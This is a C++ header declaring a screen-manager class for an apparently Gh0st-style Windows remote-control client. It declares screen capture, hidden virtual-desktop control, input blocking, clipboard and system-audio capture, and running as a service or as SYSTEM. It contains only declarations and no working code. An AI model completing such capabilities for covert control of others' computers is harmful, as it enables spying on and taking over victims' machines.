125 lines
4.5 KiB
C++
125 lines
4.5 KiB
C++
// ScreenManager.h: interface for the CScreenManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
|
||
|
||
#if _MSC_VER > 1000
|
||
#pragma once
|
||
#endif // _MSC_VER > 1000
|
||
|
||
#include "Manager.h"
|
||
#include "ScreenSpy.h"
|
||
#include "ScreenCapture.h"
|
||
|
||
// WASAPI 前向声明 (COM 接口)
|
||
struct IMMDevice;
|
||
struct IAudioClient;
|
||
struct IAudioCaptureClient;
|
||
// WAVEFORMATEX 使用 void* 避免包含头文件
|
||
|
||
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
||
|
||
bool IsWindows8orHigher();
|
||
|
||
BOOL IsRunningAsSystem();
|
||
|
||
class IOCPClient;
|
||
|
||
struct UserParam;
|
||
|
||
class CScreenManager : public CManager
|
||
{
|
||
public:
|
||
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr, BOOL priv=FALSE);
|
||
virtual ~CScreenManager();
|
||
HANDLE m_hWorkThread;
|
||
ScreenSettings m_ScreenSettings = { 20 };
|
||
QualityProfile m_QualityProfiles[QUALITY_COUNT]; // 本地质量配置（可被服务端覆盖）
|
||
|
||
virtual void InitScreenSpy();
|
||
void LoadQualityProfiles(); // 从配置文件加载质量配置
|
||
void SaveQualityProfiles(); // 保存质量配置到配置文件
|
||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||
VOID SendBitMapInfo();
|
||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||
|
||
ScreenCapture* m_ScreenSpyObject;
|
||
VOID SendFirstScreen();
|
||
const char* GetNextScreen(ULONG &ulNextSendLength);
|
||
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
||
|
||
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
|
||
UserParam *m_pUserParam = NULL;
|
||
INT_PTR m_ptrUser;
|
||
HDESK g_hDesk;
|
||
BOOL m_isGDI;
|
||
std::string m_DesktopID;
|
||
BOOL m_bIsWorking;
|
||
BOOL m_bIsBlockInput;
|
||
BOOL SendClientClipboard(BOOL fast);
|
||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||
|
||
std::string m_hash;
|
||
std::string m_hmac;
|
||
CONNECT_ADDRESS *m_conn = nullptr;
|
||
uint64_t m_MyClientID = 0; // V2: 本机客户端ID
|
||
void SetConnection(CONNECT_ADDRESS* conn)
|
||
{
|
||
m_conn = conn;
|
||
if (conn) m_MyClientID = conn->clientID;
|
||
}
|
||
bool IsRunAsService() const
|
||
{
|
||
if (m_conn && (m_conn->iStartup == Startup_GhostMsc || m_conn->iStartup == Startup_TestRunMsc))
|
||
return true;
|
||
static BOOL is_run_as_system = IsRunningAsSystem();
|
||
return is_run_as_system;
|
||
}
|
||
// 获取当前活动桌面（带写权限，用于锁屏等安全桌面）
|
||
// 使用独立的静态变量避免与WorkThreadProc的g_hDesk并发冲突
|
||
HDESK s_inputDesk = NULL;
|
||
clock_t s_lastCheck = 0;
|
||
DWORD s_lastThreadId = 0;
|
||
|
||
bool SwitchScreen();
|
||
bool RestartScreen();
|
||
void SwitchToNextWindow(); // 切换到下一个窗口（类似 Alt+Tab）
|
||
virtual BOOL OnReconnect();
|
||
uint64_t m_nReconnectTime = 0; // 重连开始时间
|
||
uint64_t m_DlgID = 0;
|
||
BOOL m_SendFirst = FALSE;
|
||
|
||
// 虚拟桌面
|
||
BOOL m_virtual;
|
||
POINT m_point;
|
||
POINT m_lastPoint;
|
||
BOOL m_lmouseDown;
|
||
HWND m_hResMoveWindow;
|
||
LRESULT m_resMoveType;
|
||
BOOL m_rmouseDown; // 标记右键是否按下
|
||
POINT m_rclickPoint; // 右键点击坐标
|
||
HWND m_rclickWnd; // 右键窗口
|
||
int m_nSwitchWindowIndex = 0; // 切换窗口索引
|
||
|
||
// ========== 系统音频捕获 (WASAPI Loopback) ==========
|
||
volatile BOOL m_bAudioThreadRunning = FALSE;// 音频线程运行标志（独立于视频线程）
|
||
volatile BOOL m_bAudioInitialized = FALSE; // WASAPI 是否已初始化
|
||
HANDLE m_hAudioThread = NULL; // 音频线程句柄
|
||
HANDLE m_hAudioEvent = NULL; // 控制线程挂起/唤醒
|
||
|
||
// WASAPI 相关
|
||
IMMDevice* m_pAudioDevice = nullptr;
|
||
IAudioClient* m_pAudioClient = nullptr;
|
||
IAudioCaptureClient* m_pCaptureClient = nullptr;
|
||
void* m_pWaveFormat = nullptr; // 实际类型: WAVEFORMATEX*
|
||
|
||
BOOL InitWASAPILoopback(); // 初始化 WASAPI Loopback
|
||
void UninitWASAPI(); // 释放 WASAPI 资源
|
||
static DWORD WINAPI AudioThreadProc(LPVOID lpParam); // 音频捕获线程
|
||
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
|
||
};
|
||
|
||
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|